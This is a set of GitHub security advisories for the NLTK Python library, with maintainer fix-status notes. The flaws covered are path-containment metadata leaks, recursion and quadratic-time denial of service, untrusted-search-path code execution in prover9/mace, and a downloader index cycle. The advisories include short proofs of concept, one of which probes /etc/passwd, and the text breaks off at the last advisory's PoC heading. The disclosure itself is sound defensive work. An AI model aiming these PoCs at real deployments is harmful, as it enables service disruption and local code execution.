text ENFORCE True size leaked 1850 real 1850 content blocked PermissionError # Security Violation [pathsec.open]: Unauthorized path /etc/passwd

A nonexistent path instead raises ValueError: Unable to open or access '/etc/nonexistentxyz' -- [Errno 2] No such file or directory, providing the existence and error class oracle.

Attack Chain

1. Exposure: An application constructs StreamBackedCorpusView(fileid, blockreader) where fileid is an attacker influenced string. The constructor is documented public API and its docstring accepts a bare string. The sandbox ships enabled (ENFORCE=True) by default. 2. Control: The attacker controls the full path string stored as self.fileid; no parsing or normalization removes it. 3. Path: In init, isinstance(self.fileid, PathPointer) is False for a plain string, so control falls to the else branch and reaches os.stat(self.fileid) with no intervening validation. 4. Guard: None on the string branch before the stat. The pathsec routing that protects content lives only in open; ENFORCE never gates the constructor stat. 5. Primitive: os.stat on an arbitrary path yields existence, exact stsize, stmtime, and, on failure, an error class that discriminates missing, permission denied, and not a directory. 6. Result: A file existence, size, and mtime oracle across the process visible filesystem that crosses the pathsec containment boundary. Content read remains blocked, so impact is confined to metadata disclosure.

Bypass Evidence

The relevant guard is the CVE-2026-63312 (GHSA-x5ph-mj9p-rfr8) fix, which routed StreamBackedCorpusView.open through nltk.pathsec.open to block arbitrary content read. Comparison of published PyPI sdists shows the open routing first appears in 3.10.0 (nltk.pathsec.open is imported and used) and is absent in 3.9.4, while the constructor os.stat(self.fileid).stsize is present unchanged across 3.9.4 through 3.10.3. The fix therefore addressed the content sink but left the sibling metadata sink in the same function unguarded.

Attempts to invalidate the finding and their outcomes: - Duplicate of the content read advisory: refuted. Iterating the view is refused with a pathsec PermissionError on 3.10.0 through 3.10.3, so the disclosed content primitive is closed; only the metadata channel survives, a distinct impact class (information exposure rather than content read). - Guarded by pathsec anyway: refuted. Source inspection of the constructor shows no validatepath, secureopen, or requiredroot before os.stat on the string branch, and the leak reproduces live with ENFORCE=True. - Not reachable: partially valid and reflected above. In tree readers pass validated PathPointer objects and never hit the string branch; reaching the sink requires application code that passes an attacker influenced string to the public constructor. That is the same reachability condition under which the content read advisory was accepted, so it narrows but does not defeat the finding. - Defense in depth only, not a boundary crossing: refuted. The pathsec design confines file access to allowed roots; os.stat on /etc/passwd is out of root file access performed on the same untrusted entry point the fix protected.

Affected Versions

- Ecosystem: PyPI - Package: nltk - Confirmed affected range: >= 3.10.0, <= 3.10.3 - Latest release checked: 3.10.3 (PyPI, resolved and downloaded as the source sdist) - Fix status: not fixed

The pathsec sandbox and the constructor os.stat both exist from 3.9.4, but the CVE-2026-63312 content read fix that this finding is a residual gap of first ships in 3.10.0; the metadata oracle that survives that fix is therefore scoped to 3.10.0 through the latest release 3.10.3, all verified by inspecting the exact published PyPI sdists. No fixed release exists as of the latest published version. Version 3.9.4 carries the unguarded os.stat too but predates the content read fix, so it is outside the scope of this incomplete fix report and is already covered by the broader content read exposure of that line.

Suggested Fix

Enforce the pathsec containment invariant on the metadata read as well as the content read. In StreamBackedCorpusView.init, validate the string fileid before calling os.stat (for example run it through nltk.pathsec.validatepath with the same context and root policy used by nltk.pathsec.open), or defer the end of file size computation so it is derived only from a successfully pathsec validated open. The remediation must cover the plain string branch specifically, since the PathPointer branch is already validated, and should preserve the existing ValueError on genuine access errors without leaking a distinguishing OS error class for out of root paths. No configuration only mitigation fully closes the gap because ENFORCE=True is already the default and does not gate the constructor stat; until a fix is available, applications should avoid passing untrusted path strings to StreamBackedCorpusView and should wrap fileids in a validated PathPointer.

Reported by zx (GitHub: @manus-pi).

Fix status (2026-09-28)

Status: IN PROGRESS (fix on an open pull request, not yet on develop).

PR: #3888 "Validate chat80.sqlquery dbname for path containment (CWE-59/73)", open; head e0e890f51 at the time of this note.

Fix commits: 68434c042 "Enforce corpus-root containment in YCOE reader and StreamBackedCorpusView" and 2c563b13f "Defer the corpus-view refusal to open" (the constructor no longer calls os.stat on the path; the containment check runs when the view is opened).

No probe. Regression test on the PR: nltk/test/unit/testycoestreamviewpathsec.py (13 passed on the PR head e0e890f51). The advisory PoC re-run on that head: StreamBackedCorpusView("/etc/passwd", ...) constructs with eofpos None (no size leaked), and len() or iteration is refused with PermissionError (Security Violation [pathsec.open]); a nonexistent out-of-root path behaves identically at construction and on read, so the existence oracle is closed too. On develop 2fa3f48fe the object is constructed and eofpos equals the real file size, so develop is still VULNERABLE.

Release: none.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary The recursive traversal engines behind WordNetCorpusReader's Synset.tree() and Synset.acyclictree() have no maximum call-depth safeguard and default to unlimited depth. They guard against literal cycles, but not against a long, genuinely acyclic relation chain — which exhausts the Python call stack the same way as the sibling DependencyGraph finding I reported separately. Real-world exploitability requires the host application to load a custom/foreign WordNet-format lexical resource rather than NLTK's bundled default corpus — flagging that narrower scope honestly up front since it affects severity, not validity.

Details nltk/util.py's acyclicdepthfirst() (~lines 471-541) and acyclicbranchesdepthfirst() (~lines 544-625) recurse once per graph edge, default to depth=-1 ("unlimited"), and guard against re-visiting the same node via an explicit traversed set (hence "acyclic") — but that set only prevents literal cycles, it never bounds how many distinct nodes a single call chain may pass through before returning.

Synset.tree(rel, depth=-1) (nltk/corpus/reader/wordnet.py, ~line 664) calls the recursive acyclicbranchesdepthfirst. There is also a third, easy-to-miss method: Synset.acyclictree(), a vestigial class-attribute alias for acyclicdepthfirst — also genuinely recursive and vulnerable.

Important correction to an earlier draft of this finding: Synset.closure(rel, depth=-1) (~line 609) does not share this bug — it actually calls acyclicbreadthfirst(), a completely different, iterative queue/deque-based function with no recursion at all. I verified this directly: feeding both acyclicbreadthfirst and the real Synset.closure() a 20,000-node genuinely-acyclic chain produces zero crash, while acyclicdepthfirst/acyclicbranchesdepthfirst/Synset.tree()/Synset.acyclictree() crash reliably at ~1000-1500 nodes on the identical data. Only .tree() and .acyclictree() are affected — not .closure().

This is the same CWE-674 pattern already hardened elsewhere in the codebase (MAXTREEDEPTH in tree/tree.py, MAXDEPTH in featstruct.py, MAXPARSEDEPTH in logic.py, MAXTABLEAUDEPTH in tableau.py, MAXDECODEDEPTH in jsontags.py, added by a commit whose message explicitly enumerates the sinks it covers) — but that hardening pass never reached nltk/util.py or wordnet.py.

Honest scope-limiting fact: I exhaustively measured the maximum possible traversal depth across the entire official, bundled WordNet 3.0 corpus (what the overwhelming majority of real deployments use) for every relation NLTK exposes to tree(): hypernyms/hyponyms max depth = 18 (across all 74,374 noun synsets); alsosees (a relation whose graph isn't curated to stay as shallow as the taxonomy) max eccentricity = 41, largest connected component = 824 nodes; similartos max eccentricity = 1; entailments/causes/verbgroups/memberholonyms/membermeronyms/attributes all ≤ 11. Every one of these is roughly 25-60x below the ~1000-node crash threshold — there is no word or relation an attacker could pick against the standard bundled corpus that reaches anywhere near a crash. nltk.app.wordnetapp, NLTK's own bundled reference consumer, only ever calls .tree() with the safe hypernym relation.

Real-world exploitability therefore strictly requires the host application to load a custom/foreign WordNet-format lexical resource — a legitimate, documented, WordNetCorpusReader-supported usage, but a comparatively uncommon one — and then call .tree()/.acyclictree() (not .closure()) with the default unbounded depth.

PoC Generated a syntactically valid, minimal, real Princeton-WordNet-DB-format lexical database (data.noun/index.noun/lexnames/etc., with correct byte-offset-indexed synset records) encoding a 1500-node strictly-linear (genuinely acyclic) hypernym chain. Loaded it via the real, unmodified WordNetCorpusReader(root, None), obtained a real Synset, and called the real, documented, public synset.tree(lambda s: s.hypernyms()) — crashed with an uncaught RecursionError: maximum recursion depth exceeded, as did synset.acyclictree(...). synset.closure(...) on the identical data returned cleanly (1499 nodes, no crash), confirming the closure()/tree() distinction above.

Impact An application that loads a custom WordNet-format lexical resource (e.g. a domain-specific or community-contributed WordNet, which WordNetCorpusReader is explicitly designed to support) and calls .tree()/.acyclictree() with an attacker-influenced or simply not-officially-curated relation/resource can be crashed via an unhandled RecursionError from a single long-but-acyclic relation chain. Narrower reach than a bundled-default-corpus bug, but a real, working, unpatched gap in the same CWE-674 family the project actively hardens elsewhere.

Suggested fix: apply the same MAXTREEDEPTH-style depth guard to acyclicdepthfirst()/acyclicbranchesdepthfirst() (or reuse the existing Tree constant/pattern directly).

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

Fix commit: 0e474a7d7 "Merge commit from fork" (2026-08-26, merged on develop from this advisory's temporary private fork): nltk/util.py gains MAXRECURSIONDEPTH=500 for the acyclic traversal helpers behind Synset.tree() and acyclictree(), with nltk/test/unit/testwordnetrecursion.py and the probe.

Probe: nltk/test/unit/securityprobes/ghsa8846p9w95frf.py; verdict on develop 2fa3f48fe: FIXED (depth cap prevents recursion overflow).

Release: none yet; no release tag contains 0e474a7d7.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Root Cause The Toolbox settings-tree helpers recurse over the parsed element tree without any depth bound. tosettingsstring (nltk/toolbox.py:418), removeblanks (nltk/toolbox.py:432), adddefaultfields (nltk/toolbox.py:451), sortfields (nltk/toolbox.py:484), and addblanklines (nltk/toolbox.py:502,516) each recurse once per element level with no depth counter or explicit stack. The producer ToolboxSettings.parse builds the element tree iteratively, so nesting depth is driven entirely by attacker-supplied \+marker / \-marker pairs.

Impact An application that parses an untrusted Toolbox settings file and then serialises or transforms it through any of the public helper functions aborts with an unhandled RecursionError, terminating the affected operation or request worker (denial of service, CWE-674). The recursion is pure Python, yielding a catchable RecursionError rather than memory corruption or code execution. Confidentiality and integrity are unaffected.

Attack Chain 1. The application parses an untrusted settings file via ToolboxSettings.openstring / open plus parse, producing an N-deep element tree; parsing is iterative and completes without error. 2. The application passes the tree to a public helper — tosettingsstring, removeblanks, adddefaultfields, sortfields, or addblanklines — as in the module's own parse-then-serialise round trip. 3. The helper recurses once per element level with no depth guard, consuming call-stack frames. This holds even when the helper's configuration dictionaries are empty. 4. Once the nesting depth exceeds the interpreter recursion limit, an unhandled RecursionError propagates out of the public API.

Bypass Evidence Against the shipped source at the default recursion limit, a settings input nested 5 levels deep traverses cleanly through every helper, while a well-formed input nested 5000 levels deep drives each of the five helpers to an unhandled RecursionError; the iterative parse builds the 4999-deep tree without error, isolating the fault to the recursive helpers. The config-taking helpers (adddefaultfields, sortfields, addblanklines) recurse to failure even with empty configuration dictionaries. A repository-wide search confirms no depth guard exists anywhere in this module.

Suggested Fix Cap nesting depth at the shared producer ToolboxSettings.parse (the choke point that builds the tree), or convert the five helpers to iterative traversals / add a shared recursion-depth bound, so all consumers are protected by one fix.

Reported by pi (GitHub: @manus-pi).

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3885 "Bound recursion depth in parsers and traversal helpers" (ekaf), merged 2026-09-11, merge commit e521ecafc on develop.

Fix commit: 0b6975377 (nltk/toolbox.py: the settings helpers stop at MAXTOOLBOXDEPTH=500 with ValueError).

Probe: nltk/test/unit/securityprobes/ghsaf2h2f4fcp978.py (added in 2a6704952 on that PR); verdict on develop 2fa3f48fe: FIXED (bounded during parse (ValueError)).

Release: none yet; no release tag contains e521ecafc.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

SeekableUnicodeStreamReader.readline in nltk/data.py assembles a line by repeatedly reading a block, appending it to a growing chars buffer, and recomputing chars.splitlines(True) over the entire buffer on every loop iteration. The read block size doubles only until it caps at 8000 characters, so for a single unterminated line of N characters the loop runs about N/8000 iterations and iteration k re-scans roughly 8000k characters, giving O(N^2) total work. The default size=None used on the line-oriented corpus-reader read path means the early break never fires before end of file. An attacker who supplies a corpus file containing one very long line with no newline can force quadratic CPU consumption in the reader's process. This is the same growing-buffer re-scan algorithmic-complexity class the project already treats as advisory-worthy in sibling corpus readers.

Root Cause

The readline loop violates the expectation that reading a line costs time linear in the line length. On each pass it executes chars += newchars; lines = chars.splitlines(True), scanning the whole accumulated buffer again rather than only the newly read block. Because readsize is capped at 8000 (nltk/data.py:1997-1998), the number of iterations grows linearly with the line length while each iteration's scan cost also grows linearly, producing quadratic total cost. The loop exits only on end of file or when size is not None; since the line-oriented block readers call stream.readline() with no argument, size defaults to None (nltk/data.py:1942) and that early break is unreachable on this path. There is no length cap on the assembled line and no wall-clock backstop, because no regular expression is involved on this path and the nltk.redos timeout therefore does not apply.

text Affected function: nltk.data.SeekableUnicodeStreamReader.readline Loop with per-iteration full-buffer rescan: nltk/data.py:1968-2000 chars += newchars; lines = chars.splitlines(True) (nltk/data.py:1977-1978) readsize = 2 capped at 8000 (nltk/data.py:1997-1998) Default size=None on the corpus-view path: nltk/data.py:1942 Reachable via readlineblock/readwhitespaceblock/readwordpunctblock/ readblanklineblock in nltk/corpus/reader/util.py, through open's SeekableUnicodeStreamReader construction.

Impact

An attacker who controls the bytes of a corpus file processed by a line-oriented NLTK corpus reader (encoding set, which is the common case) can craft one arbitrarily long unterminated line. Reading that line pins a single CPU core for time quadratic in the line length. The effect is recoverable CPU-availability degradation in the processing worker, not a crash: memory use remains linear and the operation completes once the buffer is exhausted. Because the constant factor is bounded by the 8000-character read cap, a meaningful denial of service requires a large crafted file, which keeps the severity in the low to medium range. The worst credible deployment is an automated document-ingestion service that feeds attacker-supplied uploads into such a reader with no human step; a more typical case where a victim manually loads an attacker-supplied corpus requires user interaction and is lower.

Proof of Concept

Requires only the nltk package under test on PYTHONPATH; no network access. Feeds one unterminated line of increasing length through SeekableUnicodeStreamReader.readline (size=None, the corpus-view path) and times each call.

python import io, time from nltk.data import SeekableUnicodeStreamReader

def measure(n): stream = io.BytesIO(b"a" n) # one unterminated line, no newline reader = SeekableUnicodeStreamReader(stream, "utf-8") t0 = time.perfcounter() line = reader.readline() # size=None -> corpus-view path dt = time.perfcounter() - t0 assert len(line) == n return dt

prev = None for n in (1000000, 2000000, 4000000, 8000000): dt = measure(n) ratio = "-" if prev is None else f"{dt/prev:.2f}x" print(f"{n:>12,} chars {dt:8.3f}s ratio(x2 size)={ratio}") prev = dt

text 1,000,000 chars 0.058s ratio(x2 size)=- 2,000,000 chars 0.290s ratio(x2 size)=4.99x 4,000,000 chars 1.154s ratio(x2 size)=3.98x 8,000,000 chars 4.694s ratio(x2 size)=4.07x

The roughly 4x time increase for each 2x increase in size is the O(N^2) signature; a linear readline would grow about 2x per 2x size step.

Attack Chain

1. Exposure: The victim application processes a corpus file whose bytes are attacker-supplied through a line-oriented corpus reader. Corpus file content is untrusted input in NLTK. 2. Control: The attacker controls the file bytes and can emit one arbitrarily long run of characters with no newline. This survives path/open security controls (secureopen/pathsec), which bound file access but not read-loop cost. 3. Path: StreamBackedCorpusView.open (nltk/corpus/reader/util.py:210-214) constructs a SeekableUnicodeStreamReader when an encoding is set; the block readers readlineblock, readwhitespaceblock, readwordpunctblock, and readblanklineblock call stream.readline() with no size argument. 4. Guard: The only candidate guard, the if not newchars or size is not None: early break at nltk/data.py:1992, does not fire because size defaults to None; the loop runs until end of file. No line-length cap and no wall-clock backstop exist. 5. Primitive: Per-iteration chars.splitlines(True) over the whole growing buffer with a capped 8000-character read block, giving quadratic total work. 6. Result: One CPU core is consumed for O(N^2) time on a single readline call, degrading availability of the reader's process. Recoverable, no crash.

Bypass Evidence

The size is not None early break is the only guard that could stop the quadratic loop, and it is disproven: readline is defined as readline(self, size=None) and the four shipped block readers invoke it with no argument, so size is None and the break only triggers at end of file. The nltk.redos timeout that protects regex-based paths does not apply here because there is no regular expression on the readline loop. The linebuffer short-circuit at nltk/data.py:1955 is not taken for a single unterminated line, since the buffer never accumulates more than one element. Attempts to disprove the finding all failed: the size early break is unreachable on this path, the redos timeout is inapplicable, the linebuffer short-circuit does not engage, the block-size doubling does not make the loop log-linear because it caps at 8000, and the path is reachable from four standard block readers rather than being test-only. The sustained adversarial observation is only that impact is bounded (recoverable CPU degradation needing a large file), which lowers severity but does not overturn the finding. No prior fix exists for this sink; the two published sibling advisories in the same quadratic corpus-reader class target different functions.

Affected Versions

- Ecosystem: PyPI - Package: nltk - Confirmed affected range: <= 3.10.3 - Latest release checked: 3.10.3 (pypi.org/pypi/nltk/json, verified 2026-09-15) - Fix status: not fixed

SeekableUnicodeStreamReader.readline and its per-iteration splitlines re-scan are long-standing nltk/data.py code present in the current published artifact (3.10.3), and no fix has been released. The upper bound <= 3.10.3 is verified against the exact PyPI-published version. The lower bound is left open because the first affected release was not binary-searched; the vulnerable code predates recent releases.

Suggested Fix

Avoid rescanning the whole buffer on every iteration. Search only the newly read block for a line terminator (tracking a running offset), or read through the underlying stream's own buffered line reading, so the cost of assembling a line is linear in the line length. Optionally impose a configurable maximum line length and raise or truncate when it is exceeded, so a single pathological line cannot consume unbounded CPU. As an interim mitigation, deployments that ingest untrusted corpora can bound the size of accepted input files or run corpus parsing under a CPU-time limit, though neither removes the quadratic behavior in the reader itself.

---

Reported by zx (GitHub: @manus-pi).

Fix status (2026-09-28)

Status: IN PROGRESS (fix on an open pull request, not yet on develop).

Two open pull requests carry a fix.

PR: #3895 "[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)", open, head b22ebe144. Fix commit: 002bcf714 (SeekableUnicodeStreamReader.readline searches only the freshly decoded span for a line end).

PR: #3753 "[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validatepath", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured). Fix commits: cf12a5e6a (readline searches the fresh span via a LINEBOUNDARYRE) and 2acc9bd97 (spans accumulated in a list and joined once).

No probe of its own; the readline part of the GHSA-j8g8 probe on #3753 reports FIXED on both PR heads (4.1x and 1.6x over a 4x input). The advisory PoC re-run (one unterminated line, 1M vs 4M chars): #3895 head 6.8x, #3753 head 5.3x, develop 2fa3f48fe 15.2x (0.34 s vs 5.20 s), so develop is still VULNERABLE.

Release: none.

1 / 2
Source: GitHub
First published (updated )
Severity
7.3
AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Summary Prover9Parent.configprover9(binarylocation=...) (and Mace, which inherits it) accepts a relative binarylocation and passes it as pathtobin to findbinary, which disables the CWD-relative rejection guard. Unlike the boxer/senna/malt/repp siblings, prover9/mace apply no os.path.isabs() filter, so the resolved relative program path (e.g. ./prover9) is executed from the current working directory via subprocess.Popen. A local attacker who can plant ./prover9 (or ./mace4) in the resolved directory achieves local code execution.

Root Cause nltk/inference/prover9.py:121-135 calls findbinary(name, pathtobin=binarylocation, envvars=["PROVER9"], ...). A truthy pathtobin sets searchingbarename = not pathtobin and ... → False (internals.py:935), so the guard if searchingbarename and not os.path.isabs(path): continue (internals.py:940) never runs. The result is stored in self.prover9bin; on the next prove(), call → subprocess.Popen([binary]+args, ...) (prover9.py:207) execs it. Mace(Prover9Parent) inherits configprover9 (mace.py:229). By contrast boxer's findbinary (sem/boxer.py:251-266) iterates findbinaryiter and returns only the first os.path.isabs() result; repp/malt/senna similarly reject a relative explicit bin dir. prover9/mace have no such filter.

Impact Local arbitrary code execution: an attacker-planted ./prover9/./mace4 runs as the invoking user when the application is configured with a relative binarylocation and the attacker can write to the resolved directory.

Proof of Concept In a directory containing an executable ./prover9: python from nltk.inference.prover9 import Prover9 p = Prover9(); p.configprover9(binarylocation='.') p.prover9bin == './prover9'; subsequent prove() Popens it from CWD Runtime-confirmed: findbinary('prover9', pathtobin='.') → './prover9'; bare findbinary('prover9') and relative PROVER9='.' via default findbinary both raise LookupError (the default path is protected).

Attack Chain 1. Entry: app calls configprover9(binarylocation=<relative>) / configmace(...). Guard: CWD-rejection in findbinaryiter. Bypass proof: truthy pathtobin sets searchingbarename=False → filter never runs. 2. Resolution: findbinary returns './prover9'. Guard: boxer's if os.path.isabs(binary): return. Bypass proof: prover9/mace have no such loop — relative first match stored verbatim. 3. Sink: subprocess.Popen(['./prover9']+args) (prover9.py:207) — separator-containing path ⇒ execvp runs it relative to CWD, bypassing $PATH. 4. Impact: planted ./prover9/./mace4 executes = local code execution.

Bypass Evidence Runtime: findbinary('prover9', pathtobin='.') -> './prover9'; findbinary('prover9') -> LookupError. git log -- nltk/inference/prover9.py nltk/inference/mace.py shows only copyright/formatting commits — no security fix. GHSA-6hwm-xvph-95vm (CWE-426/427) is scoped to the dot binary and names the swept class as senna/weka/boxer/malt/repp/hunpos — prover9/mace absent.

Affected Versions <= 3.10.3 — present on latest release and HEAD; no fix.

Suggested Fix Mirror boxer: accept only the first os.path.isabs() result from findbinaryiter, or reject a relative binarylocation in configprover9/configmace.

--- Reported by zx (Jace) — GitHub: @manus-use

Fix status (2026-09-28)

Status: IN PROGRESS (fix on an open pull request, not yet on develop).

PR: #3887 "Resolve every executed tool binary absolute-only: prover9/mace4, megam, tadm, java, hunpos (untrusted search path, CWE-426/427)", open; head 3ac1c5641 at the time of this note (a develop merge on top of 16b1de8ee, the head on which the verdicts below were measured).

Fix commits: f0a75c665 (a relative binarylocation is rejected in prover9/mace, megam and tadm), 4ca190b74 (findbinaryabsolute refuses a match containing '..'; configjava, hunpos and the prover9 helpers resolve absolute-only), 992884a02 (the JVM is resolved before spawning and spawned through spawntrusted), d4f0309bb (own PATH walk without which, pathsec-gated tool locations, a pre-commit hook that keeps every spawn on pathsec).

Probe: nltk/test/unit/securityprobes/ghsacc5r64rf75hg.py (on the PR). Verdict on the PR head: FIXED (213 relative locations refused across 9 entry points; with an install configured every form resolved to it and never to a CWD decoy; a PATH climbing into the decoy directory was refused; a world-writable install was refused at launch). The same probe run against develop 2fa3f48fe: VULNERABLE (configprover9('./') took the CWD-relative binary ./prover9).

Release: none.

Maintainer reply (2026-09-28)

Status: fixed on develop, unreleased.

Fix: PR #3887 "Resolve every executed tool binary absolute-only: prover9/mace4, megam, tadm, java, hunpos (untrusted search path, CWE-426/427)", merged 2026-09-28 as merge commit 0ebe329cee693e7f84cb5d477b7a3638066194c8 on develop (PR head 3ac1c5641). Fix commits: f0a75c665 (a relative binarylocation is refused in prover9/mace, megam and tadm), 4ca190b74 (findbinaryabsolute refuses any match with a '..' component; configjava, hunpos and the prover9 helpers resolve absolute-only), 992884a02 (the JVM is resolved before spawning and spawned through spawntrusted), d4f0309bb (own PATH walk without shelling out to which, pathsec-gated tool locations, and a pre-commit hook that keeps every subprocess spawn in nltk on the pathsec chokepoint). Prover9Parent.configprover9 and Mace now resolve through nltk.internals.findbinaryabsolute, which returns only an absolute candidate with no '..' component, so a relative binarylocation can never select a file under the current working directory; the spawn itself goes through nltk.pathsec.spawntrusted, which refuses a relative or untrusted executable even if one were handed to it directly.

Verification on develop 0ebe329ce with env -u PYTHONPATH /usr/local/bin/python3.13 (CPython 3.13.7, macOS). The proof of concept was run literally: an executable ./prover9 and ./mace4 planted in the working directory, each writing a marker file when run, PROVER9 unset, PATH pointing at an empty directory. Prover9().configprover9('.') and Mace().configprover9('.') both raise LookupError ("NLTK found 'prover9' only in the current working directory, which is not a trusted location for executables"), the later prove() and buildmodel() calls raise LookupError as well, and the marker file is never written. The reporter's bypass primitive findbinary('prover9', pathtobin='.') now raises LookupError. Every relative form was tried at config time ('.', './', 'sub', './sub', './prover9', ''), through the PROVER9 variable ('.'), and through PATH entries ('.', '', 'sub', './sub'); all refused. With an absolute install configured through PROVER9, every one of those forms resolves to the install and never to the planted decoy. The regression probe nltk/test/unit/securityprobes/ghsacc5r64rf75hg.py reports FIXED on develop (213 relative locations refused across 9 entry points; a PATH entry climbing into the decoy directory refused; a world-writable install refused at launch); the same probe reported VULNERABLE on develop 2fa3f48fe before the merge. nltk/test/unit/testtoolsearchpathsecurity.py: 93 passed, 1 skipped, including the literal end-to-end proof of concept for Prover9 and Mace.

Severity reassessment. Reviewed and kept at High. CVSS 3.1 vector CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H, base score 7.3, unchanged from the report. Reasoning: the planted binary has to be on the local filesystem (AV:L); the vulnerability needs the application to be configured with a relative binarylocation, and the CVSS 3.1 user guide (section 2.3.3) says a configuration-dependent vulnerability is scored assuming that configuration, so attack complexity stays Low (AC:L); the attacker needs write access to the resolved directory, a low-privileged local account (PR:L); the victim has to run the prover or model builder with that configuration (UI:R); the effect stays within the process (S:U); the planted binary runs as the invoking user (C:H, I:H, A:H). This matches how CWE-426 untrusted search path issues are scored in the NVD (7.3 with UI:R, 7.8 with UI:N) and sits at the same level as the sibling Graphviz dot advisory in this repository.

Release status. Not yet released; no tag contains 0ebe329ce. The latest release v3.10.3 (2026-08-12) predates the fix. The fix will ship in the next release.

Closing this advisory as fixed on develop.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Root Cause The dependency-graph traversal helpers recurse over dependency links without any depth bound or visited set. DependencyGraph.tree (nltk/parse/dependencygraph.py:404) recurses once per dependency link, triples (nltk/parse/dependencygraph.py:432) is a recursive generator, and getcyclepath (nltk/parse/dependencygraph.py:520) recurses over dependencies. The neighbouring containscycle method was deliberately rewritten as an iterative depth-first search, but these sibling helpers on the public traversal path were left recursive with no depth counter.

Impact An application that parses an untrusted CoNLL/Malt-TAB dependency structure and then walks it via tree() or triples() aborts with an unhandled RecursionError, terminating the affected operation or request worker (denial of service, CWE-674). The recursion is pure Python, so the result is a catchable RecursionError, not memory corruption or code execution. Confidentiality and integrity are unaffected. getcyclepath additionally lacks a visited set and will not terminate on a genuine cycle.

Attack Chain 1. The application constructs DependencyGraph(conllstr) from attacker-supplied text where token k's head is token k+1, forming a linear dependency chain of length N. Graph construction (parse) is iterative and completes without error. 2. The application calls the public DependencyGraph.tree() (nltk/parse/dependencygraph.py:408), which invokes tree(root). 3. tree recurses once per chain link with no depth guard and no visited set, consuming one stack frame per link (the list comprehension costs roughly two frames per level). 4. Once the chain length exceeds the interpreter recursion limit, an unhandled RecursionError propagates out of the public API. triples() fails the same way.

Bypass Evidence Against the shipped source at the default recursion limit, a chain of length 5 walks cleanly through tree(), while a chain of length 5000 raises an unhandled RecursionError; triples() fails identically. The minimal trigger is roughly N=500 tokens at the default recursion limit — a modest, realistic parse. Because the graph builds iteratively in both cases, the fault is isolated to the recursive traversal rather than to parsing. A repository-wide search confirms no depth guard exists in this file; the iterative rewrite was applied only to containscycle.

Suggested Fix Convert tree, triples, and getcyclepath to iterative traversals, or add a recursion-depth bound (and, for getcyclepath, a visited set) analogous to the iterative rewrite already applied to containscycle.

Reported by pi (GitHub: @manus-pi).

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3885 "Bound recursion depth in parsers and traversal helpers" (ekaf), merged 2026-09-11, merge commit e521ecafc on develop.

Fix commit: a74682757 (nltk/parse/dependencygraph.py: tree, tree and triples stop at MAXDEPTH=200 with ValueError).

Probe: nltk/test/unit/securityprobes/ghsaxfcvm889fmqg.py (added in 2a6704952 on that PR); verdict on develop 2fa3f48fe: FIXED (bounded in tree() (ValueError)).

Release: none yet; no release tag contains e521ecafc.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

affected: PyPI nltk >= 3.6.7 — nltk.downloader index parsing (Downloader.updateindex) dynamically reproduced: nltk 3.6.7 (4/4 checks), 3.9.2 (4/4), 3.10.3 (4/4), and develop 6818767b9 (4/4)

---

Source references (nltk/downloader.py:NNN) are to commit 6818767b9 (develop, v3.10.3-15-g6818767b9). The v3.10.3 tag and the released 3.10.3 wheel carry the identical code at the identical line numbers (the vulnerable closure BFS sits at downloader.py:1300-1310). Dynamically verified wheels additionally show the same defect at downloader.py:972 (3.9.2) and downloader.py:987 (3.6.7).

Summary

Downloader.updateindex (nltk/downloader.py:1253-1313) is the mandatory first step of every downloader operation (download(), info(), packages(), collections(), list(), status()). After replacing each <item ref="…"> string with the actual Collection/Package object (downloader.py:1285-1290), it computes each collection's recursive package closure with a breadth-first walk that has no visited set and no depth cap:

python nltk/downloader.py:1300-1310 for collection in self.collections.values(): packages = {} queue = [collection] for child in queue: if isinstance(child, Collection): queue.extend(child.children) elif isinstance(child, Package): packages[child.id] = child collection.packages = packages.values()

A self-referencing or mutually-referencing index — e.g. <collection id="a"><item ref="a"/></collection> — turns a.children into an object-level cycle, and the for child in queue: queue.extend(child.children) loop appends to the very list it is iterating, so the queue grows forever. The function never returns: CPU spins at 100% and memory grows without bound until the process is killed or the host runs out of memory. The identical finite input (one collection containing one package) completes in ~0.2 s on the control index, so the input is perfectly ordinary in size — only its self-reference is abnormal, and nothing validates it.

Details

Root cause is the combination of three unguarded steps:

1. Collection.fromxml (nltk/downloader.py:362-369) stores each <item ref="…"> attribute verbatim as a string. It never checks whether a ref targets the collection's own id, or participates in a reference cycle. 2. updateindex (nltk/downloader.py:1285-1290) replaces those ref strings with the live objects from self.collections / self.packages. A self- or mutual-reference therefore becomes an object-level cycle in children. 3. The closure walk (nltk/downloader.py:1300-1310) iterates for child in queue while doing queue.extend(child.children) inside the loop. Python's list iterator consumes elements appended during iteration, so with a cycle the iterator and the queue length advance in lockstep forever. There is no visited set, no node-count cap, and no cycle detection.

The input is the data-server index that the downloader is designed to fetch and trust: updateindex pulls it with safeparse(urlopen(self.url)) (nltk/downloader.py:1269-1271) and parses <collections>/<collection> elements with no structural validation. The index URL is a user-configurable product feature (serverindexurl constructor argument, CLI -u / --url at downloader.py:3052-3058 — the option's dest is serverindexurl — plus NLTKDOWNLOADURL and the Shell/GUI "Set Server URL"), so an operator who uses a third-party mirror, or whose configured mirror is compromised, delivers the malicious index into exactly this code path on the next download or query.

PoC

